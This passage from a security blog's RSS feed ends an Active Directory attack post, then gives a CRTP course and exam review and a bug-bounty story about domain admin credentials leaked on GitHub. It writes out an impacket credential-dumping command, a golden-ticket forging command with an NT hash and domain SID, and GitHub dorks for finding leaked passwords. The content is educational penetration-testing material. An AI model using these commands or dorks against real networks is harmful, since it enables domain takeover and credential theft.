<p>  <code>impacket-</code><a target="_blank" href="http://secretsdump.py"><code>secretsdump.py</code></a> <code>&lt;domain&gt;/&lt;username&gt;:&lt;password&gt;@&lt;ip_address&gt;</code></p>
</li>
</ul>
<p><strong>Persistence:</strong></p>
<p>At this phase, having Domain Admin access as an attacker there are unlimited ways that can be used to maintain persistence such as golden ticket, diamond ticket , installing backdoor, modifying ACLs and many more. Based on the real world experience, forging the golden ticket is still the go to way to maintain persistence assuming there is no detection in place.</p>
<ul>
<li><p><strong>Golden Ticket Attack</strong>:</p>
<ul>
<li><p>A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket.</p>
</li>
<li><p>The krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine.</p>
</li>
<li><p>As a good practice, it is recommended to change the password of the krbtgt account twice as password history is maintained for the account.</p>
</li>
<li><p>Craft a golden ticket using impacket ticketer:</p>
<p>  <code>impacket-</code><a target="_blank" href="http://ticketer.py"><code>ticketer</code></a><code>-nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain &lt;wwe.local&gt; -dc-ip 10.10.10.1 Administrator</code></p>
</li>
</ul>
</li>
</ul>
<p>With the modern EDR/XDR era active directory explotation is becoming more challenging and fun at the same times. The above explained are the most common attacks and techniques that can be a good start for any seasoned pentesters who loves to pwn the active directory.Below are the resources attached that can be add-on to your arsenal.</p>
<p>Thank you</p>
<p><strong>Resources</strong></p>
<ul>
<li><p><a target="_blank" href="https://zer1t0.gitlab.io/posts/attacking_ad/">https://zer1t0.gitlab.io/posts/attacking_ad/</a></p>
</li>
<li><p><a target="_blank" href="https://blog.netwrix.com/tag/active-directory/">https://blog.netwrix.com/tag/active-directory/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=_EXHGtaxDew&amp;list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr">https://www.youtube.com/watch?v=_EXHGtaxDew&amp;list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr</a></p>
</li>
<li><p><a target="_blank" href="https://xmind.app/m/874LNH/">https://xmind.app/m/874LNH/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[CRTP Course & Exam Review]]></title><description><![CDATA[Intro
I signed up for the CRTP course during the Diwali sale which costs me $199 that includes the lifetime access of the course materials, 30 days lab access & one exam certification attempt.

Course & Lab
As I already have background of pwning acti...]]></description><link>https://blog.bdhungana.com.np/crtp-course-exam-review</link><guid isPermaLink="true">https://blog.bdhungana.com.np/crtp-course-exam-review</guid><category><![CDATA[redteaming]]></category><category><![CDATA[ #ActiveDirectory ]]></category><dc:creator><![CDATA[Bibek Dhungana]]></dc:creator><pubDate>Sat, 10 Feb 2024 04:56:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1707540915601/34ebed7c-7803-45e3-a1b8-14b7e1257994.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Intro</strong></p>
<p>I signed up for the <a target="_blank" href="https://www.alteredsecurity.com/adlab">CRTP</a> course during the Diwali sale which costs me $199 that includes the lifetime access of the course materials, 30 days lab access &amp; one exam certification attempt.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707535668066/33e2189a-f8ac-4ae5-8010-199a030bfeef.png" alt class="image--center mx-auto" /></p>
<p><strong>Course &amp; Lab</strong></p>
<p>As I already have background of pwning active directory infrastructures in my day to day job, I decided that 30 days lab will be enough for me. The course material is packed with the video content , slides &amp; the lab manual. The key point of the course is you can activate the lab anytime within 90 days of the purchase. So, i made a plan to finish watching the videos &amp; then dive into the lab environment.</p>
<p>I started watching the course videos &amp; started taking notes. The course is taught based on the assume breach methodology, having an access to a user machine as an initial foothold. The course taught the active directory enumeration, local privilege escalation, domain privilege escalation, domain persistence and dominance, cross trust attacks, forest persistence and dominance in the attacking side. The course also covers the defenses &amp; deception part which is also the important part. The course heavily relies on the powershell tools for the enumeration. For the exploitation &amp; persistence part tools such as Mimikatz &amp; it's various implementations, Rubeus etc were in used. The instructor of the course (Nikhil Mittal) explains each &amp; every concepts , scripts, tools etc in very understandable manner. Although, the course is focused in the Active Directory Attack &amp; Defenses, the course also provides the covenant (Command &amp; Control) C2 framework lab manaual to play in lab environment &amp; also covers the red teaming concepts such as OPSEC, MDI detection &amp; bypass &amp; recently they have introduced the beta version of EDR bypass in their course.</p>
<p>I enjoyed the course a lot since I can relate the content taught in the course with my day to day work. After i completed watching course videos , I sent a mail to the lab team to activate my lab environment. The value of this course is indeed a lab environment where you can play around. I suggest anyone taking this course to note down each &amp; every thing learned during the course &amp; the lab environment that will help you to refer to the notes during the exam or in the real assessment. I used the notion for my note taking &amp; below is the overview of my note structure.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707537994078/e6dd0d5b-2e37-431d-b3f0-e5cd698d092b.png" alt class="image--center mx-auto" /></p>
<p>During lab time, we might stuck sometimes, don't worry. Refer to the lab manual &amp; understand what's wrong with your approach. Don't just blindly ran the tools , knowing tools &amp; context is necessary.</p>
<p>Although , this is the beginner course focused on the active directory exploitation, but to the anyone who is new to the field they can get overwhelm going through the vast structure of the course content. Having a full time day job, I managed to spent 4 to 5 hours on a daily basis during the preparation of the course. I planned to dive into the Covenant C2 lab manual provided in the course to play around with the C2 framework, but i ended up procrastinating till i lose the lab access. I recommend anyone interested in red teaming to spend time playing around the Covenant C2 lab manual , since there is no other course providing a C2 in AD lab environment at this price range.</p>
<p><strong>Exam</strong></p>
<p>After the lab access is ended , I decided to attempt for the CRTP exam. As instructed by the altered security the exam consists of 5 machines in total excluding the one machine provided to us as initial foothold or basically a jump server. In order to pass the exam, we need to compromise the full 5 machines in 24 hours &amp; provide a neat report about our methodology.</p>
<p>On the early morning of the Jan 27 , I started the exam around 6:30 NPT. I had already prepared the necessary tools &amp; my notes ready for the exam. Since, the provided machine doesn't contain any tools , we need to transfer our tools to the exam VM.</p>
<p>Please , note both lab &amp; the exam can be accessed through the VPN or the Guacamole. I just go through the Guacamole during both lab &amp; the exam time.</p>
<p>After successfully transferring the tools , I started the enumeration following the methodology taught in the course. To be honest, exam was straightforward for anyone who follows the methodology taught in the course. In my case , I struggled with troubleshooting the tools &amp; exam environment sometimes got disconnect in the middle , that was only issues I faced during the exam. You can directly connect exam lab support team via discord or mail if any difficulties faced during the exam. After spending around 11 hours I completed the exam &amp; start revising the notes in the notion that I prepared for the report during the exam.</p>
<p>After well structuring the report , I submitted it to the lab support team. On the Jan 29, I got the message from Altered Security team that I successfully passed the exam.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707539762576/61f91276-e98e-4afd-a5d9-b9c9495fe148.png" alt class="image--center mx-auto" /></p>
<p><strong>Final Thoughts</strong></p>
<p>Anyone asking if <strong>CRTP</strong> certification worth time &amp; money ?</p>
<p>I will say that completely depends on the what your background is , what you want to achieve etc. In context of me, I find active directory exploitation as a very good skillset to have, since i face the AD environment most of the time during the internal network infrastructure assessments. Also, there is no doubt in this price range there is any other training available in the market providing such a good content &amp; mostly the lab environment. Even thought the course is well structured &amp; provide the details on everything taught there, I let myself to explore around the internet that helped me during the preparation of the course. if this will help you don't forgot to check the resources below.</p>
<p><strong>Resources</strong></p>
<ul>
<li><p><a target="_blank" href="https://zer1t0.gitlab.io/posts/attacking_ad/">https://zer1t0.gitlab.io/posts/attacking_ad/</a></p>
</li>
<li><p><a target="_blank" href="https://blog.netwrix.com/tag/active-directory/">https://blog.netwrix.com/tag/active-directory/</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=_EXHGtaxDew&amp;list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr">https://www.youtube.com/watch?v=_EXHGtaxDew&amp;list=PLJQHPJLj_SQatUsJy3O4k-VQlllquDmDr</a></p>
</li>
<li><p><a target="_blank" href="https://xmind.app/m/874LNH/">https://xmind.app/m/874LNH/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Internal Domain Admin Credentials Leaked in GitHub]]></title><description><![CDATA[In the month of march, I was learning bit more about github dorking. I was going through writeups, blogs, videos to learn about it. After spending some time, there was a itch inside me forcing me to try it in the real world target. Then I searched fo...]]></description><link>https://blog.bdhungana.com.np/internal-domain-admin-credentials-leaked-in-github</link><guid isPermaLink="true">https://blog.bdhungana.com.np/internal-domain-admin-credentials-leaked-in-github</guid><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Bibek Dhungana]]></dc:creator><pubDate>Sat, 23 Dec 2023 13:59:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703340447070/4c62419e-19f6-45da-90a3-378f42e26fb7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the month of march, I was learning bit more about github dorking. I was going through writeups, blogs, videos to learn about it. After spending some time, there was a itch inside me forcing me to try it in the real world target. Then I searched for the responsible disclosure program with the following google dork:</p>
<p><code>site:com intext:reponsible disclosure</code></p>
<p>I just randomly choose the target &amp; started github dorking based on the given scope. After trying bunch of the following dorks:</p>
<p><code>“</code><a target="_blank" href="http://target.com"><code>target.com</code></a><code>” password</code></p>
<p><code>“target” password</code></p>
<p><code>“</code><a target="_blank" href="http://target.com"><code>target.com</code></a><code>” path:env</code></p>
<p>I just landed on the <a target="_blank" href="http://var.tf">var.tf</a> file on the github. Navigating inside the file, I just found the domain admin username, password &amp; the vsphere_server IP address disclosed associated with the organization tld.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*foh2eMWCl38rVj8W1JM-Lw.png" alt class="image--center mx-auto" /></p>
<p>Since , I realized the credentials are used inside the organization infrastructure &amp; also without the strong evidence that the github repository belong to the organization employee it’s a baby-cry thing in the bug-bounty. Also, reading their responsible disclosure it was clearly mentioned that actively auditing their infrastructure based on the credentials found on the internet is strictly prohibited.</p>
<p>Anyway, I decided to report it anyway. After, some days they just reply with this.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*Re3gUrLGA0XvmFsKJYVZBQ.png" alt class="image--center mx-auto" /></p>
<p>I just accepted the invitation &amp; proceed further.Some days later, a hackerone triager replied that the repo doesn’t belong to the organization and If I managed to provide the proof, they will proceed further.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*nkPyFvcWYW12QlECPhu_hg.png" alt class="image--center mx-auto" /></p>
<p>I just left it right there after reading the reply. Next day from this reply, I received another message.The report was triaged with the medium severity. Now , long story short on the march 21st they fixed the issue removing the github repo &amp; closed the report as Resolved.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:700/1*ARSYcfASTvYZTigYIMH1Sg.png" alt class="image--center mx-auto" /></p>
<p>Although , it was VDP but the experience was quite good. At last, I just want to put some resources below to learn the github dorking.</p>
<ul>
<li><p><a target="_blank" href="https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82">https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82</a></p>
</li>
<li><p><a target="_blank" href="https://youtu.be/L0-aa60CZuI">https://youtu.be/L0-aa60CZuI</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/techgaun/github-dorks">https://github.com/techgaun/github-dorks</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/jhaddix/2a08178b94e2fb37ca2bb47b25bcaed1">https://gist.github.com/jhaddix/2a08178b94e2fb37ca2bb47b25bcaed1</a></p>
</li>
</ul>
<p>Thank you everyone.</p>
]]></content:encoded></item></channel></rss>